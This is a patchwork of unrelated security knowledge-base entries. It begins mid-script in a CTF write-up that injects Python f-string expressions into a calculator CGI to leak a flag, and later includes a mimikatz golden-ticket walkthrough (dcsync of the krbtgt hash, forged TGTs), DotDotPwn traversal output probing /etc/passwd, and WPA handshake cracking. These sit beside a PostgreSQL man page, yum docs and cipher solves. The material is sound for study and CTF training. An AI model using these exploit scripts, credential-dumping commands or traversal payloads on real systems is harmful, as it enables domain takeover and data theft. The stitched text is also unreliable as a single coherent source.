result = requests.get("http://178.128.96.203/cgi-bin/server.py?source=%s&value1=x&op=%s&value2=%s" % (source, op, arg2)).text
if ">>>>" in result:
res = re.findall(">>>>.*", result, re.DOTALL)[0]
if "False" in res:
flag += prev
print(flag)
break
else:
prev = c
main()
```
We check every character until the flag becomes bigger than our payload, which means that previous character was the right one, and we can start working on next flag position.
It takes a while but in the end we get: `MeePwnCTF{python3.66666666666666_([_((you_passed_this?]]]]]])`
## PyCalcX2 (54 solved, 100p)
Second level of the challenge is very similar.
We also get the [source code](calc2.py)
The difference is very tiny:
```python
op = get_op(get_value(arguments['op'].value))
```
Which means the operator also passes via blacklist, and therefore cannot contain `'` any more.
But we can still inject something behind the operator!
We guessed that our first solution was unintended, but the flag suggested that intended solution has something to do with new Python features.
We looked at release notes and we found an interesting article: https://www.python.org/dev/peps/pep-0498/
There is a `f` modifier for strings, which allows to do some nice evaluation inside strings.
We could for example do `f'{FLAG}'` and it would place the variable value inside the string.
However since we can't escape from `'` we can't really create any boolean condition anymore.
It took us a while to figure out the approach, but we finally reched: `'T' +f'ru{FLAG>source or 14:x}'`
- We use the short circuit `or` to get one of the two results, depending on the result of first comparison. Basically `True or 14` returns `True` and `False or 14` returns 14.
- We use `x` modifier to turn 14 into hex digit `e`
- The string `f'ru{FLAG>source or 14:x}'` therefore evaluates to either `ru1` or `rue`, depending on the `FLAG>source` condition
- The result of evaluation will be either `Tru1` or `True`, and in the second case, we will se the result on the page, because it will be treated as boolean.
```python
import re
import string
import urllib
import requests
def main():
flag = "M"
while True:
prev = 0
for i in range(255):
c = chr(i)
if c in string.printable:
print('testing', c)
arg1 = urllib.quote_plus("T")
op = urllib.quote_plus("+f")
arg2 = urllib.quote_plus("ru{FLAG>source or 14:x}")
result = requests.get("http://206.189.223.3/cgi-bin/server.py?source=%s&value1=%s&op=%s&value2=%s" % (flag + c, arg1, op, arg2)).text
if ">>>>" in result:
res = re.findall(">>>>.*", result, re.DOTALL)[0]
if "True" in res:
flag += prev
print(flag)
break
else:
prev = c
main()
```
The rest of the approach is the same as in previous challenge.
After a while we get: `MeePwnCTF{python3.6[_strikes_backkkkkkkkkkkk)}`
|
sec-knowleage
|
## Twistd
How to start a ftp server with **Twisted**.
```
root@lab:/tmp# twistd -n ftp --help
Usage: twistd [options] ftp [options].
WARNING: This FTP server is probably INSECURE do not use it.
Options:
-p, --port= set the port number [default: 2121]
-r, --root= define the root of the ftp-site. [default:
/usr/local/ftp]
--userAnonymous= Name of the anonymous user. [default: anonymous]
--help Display this help and exit.
--help-auth-type= Show help for a particular authentication type.
--auth= Specify an authentication method for the server.
--password-file= Specify a file containing username:password login info
for authenticated connections. (DEPRECATED; see
--help-auth instead)
--version Display Twisted version and exit.
--help-auth Show all authentication methods available.
```
```
sroot@lab:/tmp# tudo easy_install twisted
root@lab:/tmp# twistd -n ftp -p 2121 --userAnonymous=anonymous
2016-03-06 11:24:24-0500 [-] Log opened.
2016-03-06 11:24:24-0500 [-] twistd 15.5.0 (/usr/bin/python 2.7.11) starting up.
2016-03-06 11:24:24-0500 [-] reactor class: twisted.internet.epollreactor.EPollReactor.
2016-03-06 11:24:24-0500 [-] FTPFactory starting on 2121
2016-03-06 11:24:24-0500 [-] Starting factory <twisted.protocols.ftp.FTPFactory instance at 0xb6c2474c>
```
|
sec-knowleage
|
s = """
2010 V = 0.6666666666612316235641 - 0.00000000023283064365386962890625 : G = 0
2020 BA = ASC ( MID$ (P$, 1, 1) )
2021 BB = ASC ( MID$ (P$, 2, 1) )
2025 P0 = 0:P1 = 0:P2 = 0:P3 = 0:P4 = 0:P5 = 0:P6 = 0:P7 = 0:P8 = 0:P9 = 0:PA = 0:PB = 0:PC = 0
2030 IF BA AND 1 THEN P0 = 0.062500000001818989403545856475830078125
2031 IF BA AND 2 THEN P1 = 0.0156250000004547473508864641189575195312
2032 IF BA AND 4 THEN P2 = 0.0039062500001136868377216160297393798828
2033 IF BA AND 8 THEN P3 = 0.0009765625000284217094304040074348449707
2034 IF BA AND 16 THEN P4 = 0.0002441406250071054273576010018587112427
2035 IF BA AND 32 THEN P5 = 0.0000610351562517763568394002504646778107
2036 IF BA AND 64 THEN P6 = 0.0000152587890629440892098500626161694527
2037 IF BA AND 128 THEN P7 = 0.0000038146972657360223024625156540423632
2040 IF BB AND 1 THEN P8 = 0.0000009536743164340055756156289135105908
2031 IF BB AND 2 THEN P9 = 0.0000002384185791085013939039072283776477
2032 IF BB AND 4 THEN PA = 0.0000000596046447771253484759768070944119
2033 IF BB AND 8 THEN PB = 0.000000014901161194281337118994201773603
2034 IF BB AND 16 THEN PC = 0.0000000037252902985703342797485504434007
2050 K = V + P0 + P1 + P2 + P3 + P4 + P5 + P6 + P7 + P8 + P9 + PA + PB + PC
2060 G = 0.671565706376017
"""
alllines = open("raw_code").readlines()
allchars = {}
for i in range(len(alllines)):
ln = alllines[i]
if "V = " in ln:
start = i
continue
elif "0 G = " in ln:
end = i
else:
continue
s = alllines[start:end+1]
#s = s.splitlines()[1:]
for i, line in enumerate(s):
if "P0" in line:
n = i
break
line = s[0].split()
v = float(line[3])
try:
v -= float(line[5])
except Exception:
pass
name2char = {"BX": 31}
for line in s[1:n]:
line = line.split()
name = line[1]
nx = int(line[7].strip(","))
name2char[name] = nx
exp = float(s[-1].split()[-1])
eqs = []
for line in s[n+1:-2]:
line = line.split()
name = line[2]
bit = int(line[4])
val = float(line[-1])
eqs.append((name, bit, val))
mn, mni, mn2 = 1e9, None, 1e9
for i in range(1<<len(eqs)):
s = v
for j in range(len(eqs)):
if i & (1<<j):
s += eqs[j][2]
s -= exp
s = abs(s)
if s < mn:
mn, mni, mn2 = s, i, mn
elif s < mn2:
mn2 = s
print mn, mni, mn2, mn/mn2
for i, eq in enumerate(eqs):
allchars[(name2char[eq[0]], eq[1])] = (mni>>i) & 1
mystr = [0] * 40
for k in sorted(allchars):
print k, allchars[k]
i, b = k
mystr[i] |= allchars[k] * b
mystr = "".join([chr(c) for c in mystr])
print mystr
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "CREATE DOMAIN" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
CREATE DOMAIN \- 定义一个新域
.SH SYNOPSIS
.sp
.nf
CREATE DOMAIN \fIname\fR [AS] \fIdata_type\fR
[ DEFAULT \fIexpression\fR ]
[ \fIconstraint\fR [ ... ] ]
where \fIconstraint\fR is:
[ CONSTRAINT \fIconstraint_name\fR ]
{ NOT NULL | NULL | CHECK (\fIexpression\fR) }
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBCREATE DOMAIN\fR 创建一个新的数据域。 定义域的用户成为其所有者。
.PP
如果给出一个模式名称(比如,CREATE DOMAIN myschema.mydomain ...), 那么该域是在指定的模式中创建的。否则它会在当前模式中创建。 域名字必需在其所在模式中的现有类型和域中唯一。
.PP
域可以便于我们把不同表之间的公共域抽取到一个位置进行维护。 比如,一个电子邮件地址字段可能在多个表中使用,所有的都是同样的属性。 我们可以定义并使用一个域,而不是分别设置每个表的约束。
.SH "PARAMETERS 参数"
.TP
\fB\fIname\fB\fR
要创建的域名字(可以有模式修饰)。
.TP
\fB\fIdata_type\fB\fR
域的下层数据类型。它可以包含数组声明字。
.TP
\fBDEFAULT \fIexpression\fB\fR
DEFAULT 子句为域数据类型的字段声明一个缺省值。 该值是任何不含变量的表达式(但不允许子查询)。 缺省表达式的数据类型必需匹配域的数据类型。如果没有声明缺省值, 那么缺省值就是空值。
缺省表达式将用在任何不为该字段声明数值的插入操作。 如果为特定的字段声明了缺省值,那么它覆盖任何和该域相关联的缺省值。 然后,域的缺省覆盖任何与下层数据类型相关的缺省。
.TP
\fBCONSTRAINT \fIconstraint_name\fB\fR
一个约束的可选名称。如果没有声明,系统生成一个名字。
.TP
\fBNOT NULL\fR
这个域的数值不允许为 NULL。
.TP
\fBNULL\fR
这个域的数值允许为空。它是缺省。
这个子句只是用于和非标准的 SQL 数据库兼容用。 我们不建议在新的应用中使用它。
.TP
\fBCHECK (\fIexpression\fB)\fR
CHECK 子句声明完整性约束或者是测试,域地数值必须满足这些要求。 每个约束必须是一个生成一个布尔结果的表达式。它应该使用名字 VALUE 来引用被测试的数值。
目前,CHECK 表达式不能包含子查询,也不能引用除 VALUE 之外的变量。
.SH "EXAMPLES 例子"
.PP
这个例子创建了 country_code 数据类型并且在一个表定义中使用了该类型:
.sp
.nf
CREATE DOMAIN country_code char(2) NOT NULL;
CREATE TABLE countrylist (id integer, country country_code);
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
\fBCREATE DOMAIN\fR 命令符合 SQL 标准。
.SH "SEE ALSO 参见"
DROP DOMAIN [\fBdrop_domain\fR(7)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# 题目
## 2017 Tokyo Westerns CTF 3rd Backpacker's Problem
题目中给了一个 cpp 文件,大概意思如下
```
Given the integers a_1, a_2, ..., a_N, your task is to find a subsequence b of a
where b_1 + b_2 + ... + b_K = 0.
Input Format: N a_1 a_2 ... a_N
Answer Format: K b_1 b_2 ... b_K
Example Input:
4 -8 -2 3 5
Example Answer:
3 -8 3 5
```
即是一个背包问题。其中,在本题中,我们需要解决 20 个这样的背包问题,背包大小依次是 1 * 10~20 * 10。而子集求和的背包问题是一个 NPC 问题,问题的时间复杂度随着随着背包大小而指数增长。这里背包的大小最大是200,显然不可能使用暴力破解的方式。
**待完成**
## 参考文献
- https://github.com/r00ta/myWriteUps/tree/master/GoogleCTF/woodman
- http://mslc.ctf.su/wp/google-ctf-woodman-crypto-100/
|
sec-knowleage
|
# waves over lambda
Cryptography, 300 points
## Description:
> We made alot of substitutions to encrypt this. Can you decrypt it?
## Solution:
We connect to the service and receive the following output:
```console
root@kali:/media/sf_CTFs/pico/waves_over_lambda# nc 2019shell1.picoctf.com 37925
-------------------------------------------------------------------------------
eymxicfz tbib uz dyhi pvcx - pibghbmed_uz_e_ykbi_vcojac_ocizjlnyni
-------------------------------------------------------------------------------
tckumx tca zyob fuob cf od auznyzcv ltbm um vymaym, u tca kuzufba ftb jiufuzt ohzbho, cma ocab zbciet coymx ftb jyyqz cma ocnz um ftb vujicid ibxciaumx ficmzdvkcmuc; uf tca zfiheq ob ftcf zyob pyibqmylvbaxb yp ftb eyhmfid eyhva tciavd pcuv fy tckb zyob uonyifcmeb um abcvumx luft c myjvbocm yp ftcf eyhmfid. u puma ftcf ftb auzfiuef tb mcoba uz um ftb brfibob bczf yp ftb eyhmfid, whzf ym ftb jyiabiz yp ftibb zfcfbz, ficmzdvkcmuc, oyvackuc cma jhqykumc, um ftb ouazf yp ftb ecincftucm oyhmfcumz; ymb yp ftb luvabzf cma vbczf qmylm nyifuymz yp bhiynb. u lcz myf cjvb fy vuxtf ym cmd ocn yi lyiq xukumx ftb brcef vyecvufd yp ftb eczfvb aicehvc, cz ftbib cib my ocnz yp ftuz eyhmfid cz dbf fy eyoncib luft yhi ylm yiamcmeb zhikbd ocnz; jhf u pyhma ftcf juzfiufs, ftb nyzf fylm mcoba jd eyhmf aicehvc, uz c pcuivd lbvv-qmylm nvceb. u ztcvv bmfbi tbib zyob yp od myfbz, cz ftbd ocd ibpibzt od oboyid ltbm u fcvq ykbi od fickbvz luft oumc.
```
[This site](https://www.guballa.de/substitution-solver) can easily break the substitution cipher using frequency analysis.
The key:
```
abcdefghijklmnopqrstuvwxyz
cjeabpxtuwqvomyngizfhklrds
```
The result:
```
-------------------------------------------------------------------------------
congrats here is your flag - frequency_is_c_over_lambda_marsbwpopr
-------------------------------------------------------------------------------
having had some time at my disposal when in london, i had visited the british museum, and made search among the books and maps in the library regarding transylvania; it had struck me that some foreknowledge of the country could hardly fail to have some importance in dealing with a nobleman of that country. i find that the district he named is in the extreme east of the country, just on the borders of three states, transylvania, moldavia and bukovina, in the midst of the carpathian mountains; one of the wildest and least known portions of europe. i was not able to light on any map or work giving the exact locality of the castle dracula, as there are no maps of this country as yet to compare with our own ordnance survey maps; but i found that bistritz, the post town named by count dracula, is a fairly well-known place. i shall enter here some of my notes, as they may refresh my memory when i talk over my travels with mina.
```
|
sec-knowleage
|
# DLL 文件脱壳
这里需要联系上篇的 [手动查找IAT并使用ImportREC重建](/reverse/unpack/manually-fix-iat/index.html)
例题文件你可以点击此处下载: [unpack_dll.zip](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/unpack/example/unpack_dll.zip)
因为`Dll`脱壳需要这一步骤. `Dll`脱壳的最关键的步骤在于`使用LordPE修改其Dll的标志`, 用`LordPE`打开`UnpackMe.dll`, 然后在特征值那里点击`...`, 然后取消勾选`DLL`标志, 保存后, 系统就会将该文件视作一个可执行文件.
我们将`UnpackMe.dll`后缀名改成`UnpackMe.exe`, 然后用OD载入.
一般在入口点, 程序都会保存一些信息, 这里就很简单, 只作了一个`cmp`. 要注意的一点是, 这里的`jnz`跳转直接就跳到了`unpacking`过程的末尾. 因此我们需要修改寄存器的`z`标志来使得跳转失效. 同时在`unpacking`过程的末尾设下一个断点以避免脱壳完然后直接运行.(程序会断在这个断点上, 但是脱壳已经完成, 代码都很清晰)
`Dll`脱壳的基本步骤跟`exe`文件脱壳一样, 而在重建`IAT`时, 需要照着上篇 [手动查找IAT并使用ImportREC重建](/reverse/unpack/manually-fix-iat/index.html) 所说的那样, 手动找到`IAT`表并用`ImportREC`进行重建. 只是要注意, 在脱壳完dump后, 要记得用LordPE把`DLL`标志恢复过来并将文件后缀名改为`.dll`.
|
sec-knowleage
|
yum
===
基于RPM的软件包管理器
## 补充说明
**yum命令** 是在Fedora和RedHat以及SUSE中基于rpm的软件包管理器,它可以使系统管理人员交互和自动化地更新与管理RPM软件包,能够从指定的服务器自动下载RPM包并且安装,可以自动处理依赖性关系,并且一次安装所有依赖的软体包,无须繁琐地一次次下载、安装。
yum提供了查找、安装、删除某一个、一组甚至全部软件包的命令,而且命令简洁而又好记。
### 语法
```shell
yum(选项)(参数)
```
### 选项
```shell
-h:显示帮助信息;
-y:对所有的提问都回答“yes”;
-c:指定配置文件;
-q:安静模式;
-v:详细模式;
-d:设置调试等级(0-10);
-e:设置错误等级(0-10);
-R:设置yum处理一个命令的最大等待时间;
-C:完全从缓存中运行,而不去下载或者更新任何头文件。
```
### 参数
```shell
install:安装rpm软件包;
update:更新rpm软件包;
check-update:检查是否有可用的更新rpm软件包;
remove:删除指定的rpm软件包;
list:显示软件包的信息;
search:检查软件包的信息;
info:显示指定的rpm软件包的描述信息和概要信息;
clean:清理yum过期的缓存;
shell:进入yum的shell提示符;
resolvedep:显示rpm软件包的依赖关系;
localinstall:安装本地的rpm软件包;
localupdate:显示本地rpm软件包进行更新;
deplist:显示rpm软件包的所有依赖关系;
provides:查询某个程序所在安装包。
```
### 实例
部分常用的命令包括:
* 自动搜索最快镜像插件:`yum install yum-fastestmirror`
* 安装yum图形窗口插件:`yum install yumex`
* 查看可能批量安装的列表:`yum grouplist`
**安装**
```shell
yum install #全部安装
yum install package1 #安装指定的安装包package1
yum groupinsall group1 #安装程序组group1
```
**更新和升级**
```shell
yum update #全部更新
yum update package1 #更新指定程序包package1
yum check-update #检查可更新的程序
yum upgrade package1 #升级指定程序包package1
yum groupupdate group1 #升级程序组group1
```
**查找和显示**
```shell
# 检查 MySQL 是否已安装
yum list installed | grep mysql
yum list installed mysql*
yum info package1 #显示安装包信息package1
yum list #显示所有已经安装和可以安装的程序包
yum list package1 #显示指定程序包安装情况package1
yum groupinfo group1 #显示程序组group1信息yum search string 根据关键字string查找安装包
```
**删除程序**
```shell
yum remove | erase package1 #删除程序包package1
yum groupremove group1 #删除程序组group1
yum deplist package1 #查看程序package1依赖情况
```
**清除缓存**
```shell
yum clean packages # 清除缓存目录下的软件包
yum clean headers # 清除缓存目录下的 headers
yum clean oldheaders # 清除缓存目录下旧的 headers
```
**更多实例**
```shell
# yum
/etc/yum.repos.d/ # yum 源配置文件
vi /etc/yum.repos.d/nginx.repo # 举个栗子: nginx yum源
[nginx]
name=nginx repo
baseurl=http://nginx.org/packages/centos/6/$basearch/
gpgcheck=0
enabled=1
# yum mirror
mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.bak
wget https://mirror.tuna.tsinghua.edu.cn/help/centos/
yum makecache
# 添加中文语言支持
LANG=C # 原始语言
LANG=zh_CN.utf8 # 切换到中文
yum groupinstall "Chinese Support" # 添加中文语言支持
```
|
sec-knowleage
|
# Writeup Whitehat CTF GP 2016
Team: msm, rev, shalom, nazywam, c7f.m0de, cr019283, akrasuski1, psrok1
### Table of contents
* [messenger (Pwn 205)](messenger)
* [Meow (RE/Crypto/Pwn 365)](meow)
* [angrybird (RE 125)](angrybird)
|
sec-knowleage
|
---
title: DotDotPwn
categories: Information Gathering
tags: [kali linux,dotdotpwn,information gathering,recon,http,exploitation tools]
date: 2016-10-22 14:00:00
---
0x00 DotDotPwn介绍
-------------
DotDotPwn是一个非常灵活的智能模糊器,用于发现软件中的遍历目录漏洞,例如HTTP/FTP/TFTP服务器,Web平台的应用程序(如CMS,ERP,博客等)。
此外,它有一个独立于协议的模块,用于将所需的有效负载发送到指定的主机和端口。 另一方面,它也可以使用STDOUT模块以脚本方式使用。
DotDotPwn是用perl编程语言编写的,可以在* NIX或Windows平台下运行,它是BackTrack Linux(BT4 R2)中包含的第一个墨西哥人开发的工具。
此版本支持的模糊模块:
dnstracer用于获取给定主机名从给定域名服务器(DNS)的信息,并跟随DNS服务器链得到权威结果。
```plain
HTTP
HTTP URL
FTP
TFTP
Payload (Protocol independent)
STDOUT
```
工具来源:https://github.com/wireghoul/dotdotpwn
[DotDotPwn主页][1] | [Kali DotDotPwn Repo仓库][2]
- 作者:chr1x, nitr0us
- 证书:GPLv2
0x01 DotDotPwn功能
---------------
dotdotpwn.pl - DotDotPwn - 目录遍历模糊器
```shell
root@kali:~# dotdotpwn
#################################################################################
# #
# CubilFelino Chatsubo #
# Security Research Lab and [(in)Security Dark] Labs #
# chr1x.sectester.net chatsubo-labs.blogspot.com #
# #
# pr0udly present: #
# #
# ________ __ ________ __ __________ #
# \______ \ ____ _/ |_\______ \ ____ _/ |_\______ \__ _ __ ____ #
# | | \ / _ \\ __\| | \ / _ \\ __\| ___/\ \/ \/ // \ #
# | ` \( <_> )| | | ` \( <_> )| | | | \ /| | \ #
# /_______ / \____/ |__| /_______ / \____/ |__| |____| \/\_/ |___| / #
# \/ \/ \/ #
# - DotDotPwn v3.0 - #
# The Directory Traversal Fuzzer #
# http://dotdotpwn.sectester.net #
# dotdotpwn@sectester.net #
# #
# by chr1x & nitr0us #
#################################################################################
用法: ./dotdotpwn.pl -m <模块> -h <主机名> [选项]
可用选项:
-m 模块 [http | http-url | ftp | tftp | payload | stdout]
-h 主机名
-O 智能模糊探测操作系统 (nmap模块)
-o 操作系统类型已知("windows", "unix" 或者 "generic")
-s 服务版本检测(banner信息抓取)
-d 遍历深度 (e.g. 深度3为 ../../../; 默认: 6)
-f 特定文件名(例如/etc/motd; 默认:根据检测到的操作系统设置,配置文件TraversalEngine.pm)
-E 向TraversalEngine.pm添加 @Extra_files文件(例如:web.config, httpd.conf等)
-S 使用SSL - 对于HTTP和Payload模块(在http-uri的url中使用https://)
-u 要标记网址中遍历的部分(例如:http://foo:8080/id.php?x=TRAVERSAL&y=31337)
-k 要在响应中匹配的文字模式(http-url和载荷模块 - 例如,如果尝试/etc/passwd,则需要root权限)
-p 要发送的有效负载的文件名和要进行模糊处理的部分用TRAVERSAL关键字标记
-x 连接端口 (默认: HTTP=80; FTP=21; TFTP=69)
-t 每次测试之间的时间(毫秒,默认: 300 )
-X 一旦发现漏洞,使用二分法算法检测确切的深度
-e 附加在每个fuzz字符串末尾的文件扩展名 (例如: ".php", ".jpg", ".inc")
-U 用户名 (默认: 'anonymous')
-P 密码 (默认: 'dot@dot.pwn')
-M HTTP使用'http'模块时请求方式[GET | POST | HEAD | COPY | MOVE] (default: GET)
-r 报告文件名 (默认: 'HOST_MM-DD-YYYY_HOUR-MIN.txt')
-b 在找到第一个漏洞后中断
-q 安静模式(不打印每次尝试)
-C 如果未从主机接收到数据则继续
```
<!--more-->
0x02 DotDotPwn用法示例
-----------------
```shell
root@kali:~# dotdotpwn -m http -O -s -S -h www.hackfun.org
#################################################################################
# #
# CubilFelino Chatsubo #
# Security Research Lab and [(in)Security Dark] Labs #
# chr1x.sectester.net chatsubo-labs.blogspot.com #
# #
# pr0udly present: #
# #
# ________ __ ________ __ __________ #
# \______ \ ____ _/ |_\______ \ ____ _/ |_\______ \__ _ __ ____ #
# | | \ / _ \\ __\| | \ / _ \\ __\| ___/\ \/ \/ // \ #
# | ` \( <_> )| | | ` \( <_> )| | | | \ /| | \ #
# /_______ / \____/ |__| /_______ / \____/ |__| |____| \/\_/ |___| / #
# \/ \/ \/ #
# - DotDotPwn v3.0 - #
# The Directory Traversal Fuzzer #
# http://dotdotpwn.sectester.net #
# dotdotpwn@sectester.net #
# #
# by chr1x & nitr0us #
#################################################################################
[+] Report name: Reports/www.hackfun.org_10-23-2016_23-42.txt
[========== TARGET INFORMATION ==========]
[+] Hostname: www.hackfun.org
[+] Detecting Operating System (nmap) ...
[+] Operating System detected:
[+] Protocol: http
[+] Port: 443
[+] Service detected:
nginx
[=========== TRAVERSAL ENGINE ===========]
[+] Creating Traversal patterns (mix of dots and slashes)
[+] Multiplying 6 times the traversal patterns (-d switch)
[+] Creating the Special Traversal patterns
[+] Translating (back)slashes in the filenames
[+] Adapting the filenames according to the OS type detected (generic)
[+] Including Special sufixes
[+] Traversal Engine DONE ! - Total traversal tests created: 19680
[=========== TESTING RESULTS ============]
[+] Ready to launch 3.33 traversals per second
[+] Press Enter to start the testing (You can stop it pressing Ctrl + C)
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../etc/passwd
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../etc/issue
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../boot.ini
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../windows/system32/drivers/etc/hosts
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../etc/passwd
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../etc/issue
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../boot.ini
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../windows/system32/drivers/etc/hosts
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../../etc/passwd
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../../etc/issue
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../../boot.ini
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../../windows/system32/drivers/etc/hosts
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../../../etc/passwd
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../../../etc/issue
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../../../boot.ini
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../../../windows/system32/drivers/etc/hosts
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../../../../etc/passwd
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../../../../etc/issue
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../../../../boot.ini
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../../../../windows/system32/drivers/etc/hosts
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../../../../../etc/passwd
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../../../../../etc/issue
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../../../../../boot.ini
[*] HTTP Status: 400 | Testing Path: https://www.hackfun.org:443/../../../../../../windows/system32/drivers/etc/hosts
...
...
```
[1]: http://dotdotpwn.blogspot.ca/
[2]: http://git.kali.org/gitweb/?p=packages/dotdotpwn.git;a=summary
|
sec-knowleage
|
cancel
===
取消已存在的打印任务
## 补充说明
**cancel命令** 用于取消已存在的打印任务。
### 语法
```shell
cancel(选项)(参数)
```
### 选项
```shell
-a:取消所有打印任务;
-E:当连接到服务器时强制使用加密;
-U:指定连接服务器时使用的用户名;
-u:指定打印任务所属的用户;
-h:指定连接的服务器名和端口号。
```
### 参数
打印任务号:指定要取消的打印任务编号。
|
sec-knowleage
|
# T1550-003-win-黄金票据
## 来自ATT&CK的描述
攻击者可能会使用被盗的Kerberos票证“传递票证”,使其在目标组织的环境中横向移动,从而绕过正常的系统访问控制。传递票证(PtT)是一种使用Kerberos票证对系统进行身份验证的方法,无需访问帐户密码。Kerberos身份验证可以用作横向移动到远程系统的第一步。
在这种技术中,有效的Kerberos票有效的帐户被捕获OS凭证倾销。取决于访问级别,可以获得用户的服务票证或票证授予票证(TGT)。服务票证允许访问特定资源,而TGT可以用于从票证授予服务(TGS)请求服务票证以访问用户有权访问的任何资源。
可以为使用Kerberos作为身份验证机制的服务获取Silver Ticket,并用于生成票证以访问该特定资源和承载该资源的系统(例如,SharePoint)。
可以使用密钥分发服务帐户KRBTGT帐户NTLM哈希来获取域的Golden Ticket,这可以为Active Directory中的任何帐户生成TGT。
## 测试案例
黄金票据(golden ticket):伪造票据授予票据(TGT),也被称为认证票据。与其说是一种攻击方式,不如说是一种后门,当域控权限掉后,再重新获取权限,因为常见的在域中管理员知道自己被入侵了 往往只是简单的修改域管的账号 恰恰krbtgt却被忽略…
## 检测日志
windows 安全日志
## 测试复现
### 测试环境
Windows server 2016(AD域控)
Win 7(靶机)
### 测试过程
#### 尝试访问DC目录
```dos
dir \\ICBC.abcc.org\c$\
```

#### 导出krbtgt用户的hash和sid(使用mimikatz.exe工具)
```bash
lsadump::dcsync /domain:abcc.org /user:krbtgt #domian:后面是域控名 user后面是krbtgt用户
```

在域内其他Client(用户机器)上使用其他域管理员来抓取krbtgt用户的hash和sid(使用mimikatz.exe工具),这里命令和上面的命令是一样的。也可以利用其它方法获取krbtgt的NTML hash
#### 清除自己Client端(域内其他机器)的票据
在域控上面成功抓取了hash和sid,将hash和sid复制到其他域内机器中,也就是Client端,然后在mimikatz.exe执行kerberos::list查看我们当前的票据。

如果存在其它凭据,可以使用kerberos::purge清除当前用户票据。
#### 伪造TGT票据
##### 方法一
```bash
mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit
```

##### 验证攻击效果
```dos
dir \\ICBC.abcc.org\c$\
```

#### 方法二
```bash
mimikatz# kerberos::gloden /domain:*.com /sid:<域SID> /krbtgt: <KRBTGT NTLM Hash> /user:<任意用户名> /ticket:test.kribi
or
mimikatz# kerberos::gloden /domain:*.com /sid: <域SID> /aes256: <KRBTGT aes256> /user: <任意用户名> /ticket:test.kribi
```

#### 导入*.kribi文件

#### 验证是否成功

## 测试留痕
正常日志痕迹

异常日志痕迹

## 检测规则/思路
### Sigma规则
```yml
title: windows本地账户操纵
description: win7测试
references:
tags: T1550-003
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection1:
EventID: 4624 #账户登录
Account domain: '*.*' #可参考示例日志进行理解
selection2:
EventID: 4672 #特殊登录
Account domain: _ #账户域为空
timeframe: last 5s
condition: all of them
level: medium
```
### 建议
最后,存在一些问题,mimikatz最新版本已经更新修复了一下问题,通过上述此特征检测黄金票据可能会产生误报或者漏洞,建议采用偏向流量侧的检测方法进行检测,思路如下。
1.AS-REP返回的Ticket字段中,虽然经过krbtgt密码的加密,但我们仍然可以对其计算唯一摘要值。
2.跟踪每一次的AS-REP TGT票据颁发,记录下Ticket Hash,存入列表A。
3.对每一次TGS-REQ中TGT Hash进行确认,判断该值是否存在于已知颁发过的TGT列表A中。如果不存在,则属于伪造的TGT,即黄金票据。
4.列表A的内容可设置过期时间,TGT和ST的默认最大有效期都是10小时。
## 参考推荐
MITRE-ATT&CK-T1550-003
<https://attack.mitre.org/techniques/T1550/003/>
|
sec-knowleage
|
# WIFI
> `802.11` 是现今无线局域网通用的标准,常见认证方式
>
> - 不启用安全
> - `WEP`
> - `WPA/WPA2-PSK`(预共享密钥)
> - `PA/WPA2 802.1X` (`radius` 认证)
## WPA-PSK
认证大致过程如下图
其中四次握手过程
1. 4次握手开始于验证器(AP),它产生一个随机的值(ANonce)发送给请求者
2. 请求者也产生了它自己的随机SNonce,然后用这两个Nonces以及PMK生成了PTK。请求者回复消息2给验证器,还有一个MIC(message integrity code,消息验证码)作为PMK的验证
3. 它先要验证请求者在消息2中发来的MIC等信息,验证成功后,如果需要就生成GTK。然后发送消息3
4. 请求者收到消息3,验证MIC,安装密钥,发送消息4,一个确认信息。验证器收到消息4,验证MIC,安装相同的密钥
## 例题
> 实验吧: `shipin.cap`
从大量的`Deauth` 攻击基本可以判断是一个破解 `wifi` 时的流量攻击
同时也成功发现了握手包信息
接下来跑密码
- `linux` : `aircrack` 套件
- `windows` : `wifipr` ,速度比 `esaw` 快, `GTX850` 能将近 `10w\s :`)
得到密码`88888888`在 `wireshark` 中`Edit -> Preferences -> Protocols -> IEEE802.11 -> Edit`以`key:SSID`形式填入即可解密 `wifi` 包看到明文流量
> KCARCK相关: https://www.krackattacks.com/
## 参考文献
- http://www.freebuf.com/articles/wireless/58342.html
- http://blog.csdn.net/keekjkj/article/details/46753883
|
sec-knowleage
|
# Cloud - Azure
## Summary
* [Azure Recon Tools](#azure-recon-tools)
* [Authenticating to the Microsoft Graph API in PowerShell](#authenticating-to-the-microsoft-graph-api-in-powershell)
